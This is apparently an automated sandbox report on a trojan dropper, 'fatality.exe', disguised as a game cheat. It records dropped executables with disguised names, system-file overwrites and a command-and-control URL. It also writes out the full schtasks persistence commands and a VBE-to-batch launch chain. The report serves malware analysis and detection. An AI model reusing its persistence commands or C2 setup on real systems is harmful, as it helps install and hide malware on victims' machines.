Source: 00000005.00000002.2227774812.0000000012D60000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-KNZ6qT1z1KAE3Pr0GoKV","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]

Source: fatality.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\blockcomSession\containerReview.exe	Directory created: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Directory created: C:\Program Files\Windows Security\BrowserCore\en-US\d81cfa058c78b8	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Directory created: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	Directory created: C:\Program Files\7-Zip\Lang\d81cfa058c78b8	Jump to behavior

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: fatality.exe, fatality.exe, 00000000.00000002.2055375618.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.pdb source: containerReview.exe, 00000005.00000002.2220599721.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.pdb source: containerReview.exe, 00000005.00000002.2220599721.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Windows\System32\SecurityHealthSystray.exe			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe			Jump to behavior

Source: C:\Users\user\Desktop\fatality.exe

Code function: 0_2_00DEA69B FindFirstFileW,FindFirstFileW,

0_2_00DEA69B

Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\blockcomSession\containerReview.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.5:56338 -> 162.159.36.2:53

Source: unknown	DNS traffic detected: query: 373292cm.nyashka.top replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: 15.164.165.52.in-addr.arpa replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: 373292cm.nyashka.top
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa

Source: mQBLhXIPAJ.exe, 00000013.00000002.2290300751.0000000002908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyashka.top
Source: mQBLhXIPAJ.exe, 00000013.00000002.2290300751.0000000002908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyashka.top/
Source: mQBLhXIPAJ.exe, 00000013.00000002.2290300751.0000000002908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php
Source: containerReview.exe, 00000005.00000002.2220599721.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp, mQBLhXIPAJ.exe, 00000013.00000002.2290300751.0000000002908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: fatality.exe, 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: fatality.exe, 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU

System Summary

PE file has nameless sections

Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:
Source: fatality.exe	Static PE information: section name:

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\fatality.exe

Code function: 0_2_05256861 NtQueryInformationProcess,GetSystemInfo,

0_2_05256861

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCBCEC8111DA4C46C5BB72BE8163F3D647.TMP			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSCBCEC8111DA4C46C5BB72BE8163F3D647.TMP

Jump to behavior

Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DE848E	0_2_00DE848E
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DE40FE	0_2_00DE40FE
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DF4088	0_2_00DF4088
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DF00B7	0_2_00DF00B7
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E051C9	0_2_00E051C9
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DF7153	0_2_00DF7153
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DF62CA	0_2_00DF62CA
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DE32F7	0_2_00DE32F7
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DF43BF	0_2_00DF43BF
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E0D440	0_2_00E0D440
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DEF461	0_2_00DEF461
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DEC426	0_2_00DEC426
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DF77EF	0_2_00DF77EF
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00E0D8F0	0_2_00E0D8F0
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DE286B	0_2_00DE286B
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DEE9B7	0_2_00DEE9B7
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DF6CDC	0_2_00DF6CDC
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DF3E0B	0_2_00DF3E0B
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_00DEEFE2	0_2_00DEEFE2
Source: C:\Users\user\Desktop\fatality.exe	Code function: 0_2_0525456D	0_2_0525456D
Source: C:\blockcomSession\containerReview.exe	Code function: 5_2_00007FF848E60D7C	5_2_00007FF848E60D7C
Source: C:\blockcomSession\containerReview.exe	Code function: 5_2_00007FF849268A9F	5_2_00007FF849268A9F
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Code function: 19_2_00007FF848E80D7C	19_2_00007FF848E80D7C
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Code function: 22_2_00007FF848E60D7C	22_2_00007FF848E60D7C
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Code function: 22_2_00007FF848E707AE	22_2_00007FF848E707AE
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Code function: 22_2_00007FF848E70556	22_2_00007FF848E70556
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Code function: 22_2_00007FF848E70CFB	22_2_00007FF848E70CFB
Source: C:\blockcomSession\containerReview.exe	Code function: 37_2_00007FF848E60D7C	37_2_00007FF848E60D7C
Source: C:\blockcomSession\containerReview.exe	Code function: 37_2_00007FF848E707AC	37_2_00007FF848E707AC
Source: C:\blockcomSession\containerReview.exe	Code function: 37_2_00007FF848E70CFB	37_2_00007FF848E70CFB
Source: C:\blockcomSession\containerReview.exe	Code function: 38_2_00007FF848E907AE	38_2_00007FF848E907AE
Source: C:\blockcomSession\containerReview.exe	Code function: 38_2_00007FF848E90556	38_2_00007FF848E90556
Source: C:\blockcomSession\containerReview.exe	Code function: 38_2_00007FF848E90CFB	38_2_00007FF848E90CFB
Source: C:\blockcomSession\containerReview.exe	Code function: 38_2_00007FF848E80D7C	38_2_00007FF848E80D7C
Source: C:\ProgramData\dbg\containerReview.exe	Code function: 39_2_00007FF848E60D7C	39_2_00007FF848E60D7C
Source: C:\ProgramData\dbg\containerReview.exe	Code function: 39_2_00007FF848E707AE	39_2_00007FF848E707AE
Source: C:\ProgramData\dbg\containerReview.exe	Code function: 39_2_00007FF848E70556	39_2_00007FF848E70556
Source: C:\ProgramData\dbg\containerReview.exe	Code function: 39_2_00007FF848E70CFB	39_2_00007FF848E70CFB
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Code function: 44_2_00007FF848E907AE	44_2_00007FF848E907AE
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Code function: 44_2_00007FF848E90556	44_2_00007FF848E90556
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Code function: 44_2_00007FF848E90CFB	44_2_00007FF848E90CFB
Source: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	Code function: 44_2_00007FF848E80D7C	44_2_00007FF848E80D7C
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Code function: 45_2_00007FF848E80D7C	45_2_00007FF848E80D7C
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Code function: 45_2_00007FF848E907AE	45_2_00007FF848E907AE
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Code function: 45_2_00007FF848E90556	45_2_00007FF848E90556
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Code function: 45_2_00007FF848E90CFB	45_2_00007FF848E90CFB
Source: C:\blockcomSession\containerReview.exe	Code function: 46_2_00007FF848E60D7C	46_2_00007FF848E60D7C
Source: C:\blockcomSession\containerReview.exe	Code function: 46_2_00007FF848E707AC	46_2_00007FF848E707AC
Source: C:\blockcomSession\containerReview.exe	Code function: 46_2_00007FF848E70CFB	46_2_00007FF848E70CFB

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\GgZbKUMi.log AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97

Source: C:\Users\user\Desktop\fatality.exe	Code function: String function: 00DFEC50 appears 53 times
Source: C:\Users\user\Desktop\fatality.exe	Code function: String function: 00DFF5F0 appears 32 times
Source: C:\Users\user\Desktop\fatality.exe	Code function: String function: 00DFEB78 appears 36 times
Source: C:\Users\user\Desktop\fatality.exe	Code function: String function: 00E5F264 appears 70 times

Source: RLUzQxgL.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: PRRjZxCV.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: RUDRugHQ.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: GgZbKUMi.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: yCQlabwB.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: LTranRbW.log.5.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: ucFnGTXv.log.19.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: jPEOVQoM.log.19.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: HTJtRROP.log.19.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: nCWNxMEA.log.19.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: eTDxNkzS.log.19.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: VquIdqjl.log.19.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: fatality.exe, 00000000.00000003.2048582491.0000000003492000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewscript.exe.mui` vs fatality.exe
Source: fatality.exe, 00000000.00000003.2048582491.0000000003492000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewscript.exe` vs fatality.exe
Source: fatality.exe	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs fatality.exe

Source: fatality.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: containerReview.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: mQBLhXIPAJ.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: mQBLhXIPAJ.exe0.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: containerReview.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: mQBLhXIPAJ.exe1.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: mQBLhXIPAJ.exe2.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: fatality.exe	Static PE information: Section: ZLIB complexity 0.997276135089686
Source: fatality.exe	Static PE information: Section: ZLIB complexity 0.9945203993055556
Source: fatality.exe	Static PE information: Section: cheat ZLIB complexity 0.9969160071699135

Source: classification engine

Classification label: mal100.spre.troj.expl.evad.winEXE@58/46@10/0

Source: C:\blockcomSession\containerReview.exe

File created: C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe

Jump to behavior

Source: C:\blockcomSession\containerReview.exe

File created: C:\Users\user\Desktop\PRRjZxCV.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5356:120:WilError_03
Source: C:\blockcomSession\containerReview.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2924:120:WilError_03
Source: C:\blockcomSession\mQBLhXIPAJ.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-KNZ6qT1z1KAE3Pr0GoKV

Source: C:\blockcomSession\containerReview.exe

File created: C:\Users\user\AppData\Local\Temp\qvvd4xnd

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\blockcomSession\R3z0peym99fhJdrKbUwEGrQMoM2HpnSPGrE0X0k2hc.bat" "

Source: C:\Users\user\Desktop\fatality.exe	Command line argument: sfxname	0_2_00DFDF1E
Source: C:\Users\user\Desktop\fatality.exe	Command line argument: sfxstime	0_2_00DFDF1E
Source: C:\Users\user\Desktop\fatality.exe	Command line argument: STARTDLG	0_2_00DFDF1E
Source: C:\Users\user\Desktop\fatality.exe	Command line argument: xz	0_2_00DFDF1E

Source: C:\Users\user\Desktop\fatality.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\fatality.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: fatality.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\blockcomSession\containerReview.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\blockcomSession\mQBLhXIPAJ.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\fatality.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\fatality.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: fatality.exe	Virustotal: Detection: 83%
Source: fatality.exe	ReversingLabs: Detection: 71%

Source: fatality.exe

String found in binary or memory: <Module>{B88D4D76-330A-4D76-ADDC-F680C30484D3}

Source: C:\Users\user\Desktop\fatality.exe

File read: C:\Users\user\Desktop\fatality.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\fatality.exe "C:\Users\user\Desktop\fatality.exe"
Source: C:\Users\user\Desktop\fatality.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blockcomSession\RezYUes00TmmVGwINjr2qWMSbF3Etb9Bt2Ra62zGWDtewTBc.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\blockcomSession\R3z0peym99fhJdrKbUwEGrQMoM2HpnSPGrE0X0k2hc.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\blockcomSession\containerReview.exe "C:\blockcomSession/containerReview.exe"
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 10 /tr "'C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe'" /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 9 /tr "'C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qvvd4xnd\qvvd4xnd.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8539.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC4E919528C4A844BA8820AEF1C7C5AE5.TMP"
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\glp1j4aa\glp1j4aa.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES87BA.tmp" "c:\Windows\System32\CSCBCEC8111DA4C46C5BB72BE8163F3D647.TMP"
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 13 /tr "'C:\blockcomSession\mQBLhXIPAJ.exe'" /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\blockcomSession\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 14 /tr "'C:\blockcomSession\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\blockcomSession\mQBLhXIPAJ.exe C:\blockcomSession\mQBLhXIPAJ.exe
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "containerReviewc" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\dbg\containerReview.exe'" /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "containerReview" /sc ONLOGON /tr "'C:\Users\All Users\dbg\containerReview.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\blockcomSession\mQBLhXIPAJ.exe C:\blockcomSession\mQBLhXIPAJ.exe
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "containerReviewc" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\dbg\containerReview.exe'" /rl HIGHEST /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Templates\mQBLhXIPAJ.exe'" /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\Users\Default\Templates\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJm" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Templates\mQBLhXIPAJ.exe'" /rl HIGHEST /f
Source: C:\blockcomSession\containerReview.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "mQBLhXIPAJ" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe'" /rl HIGHEST /f
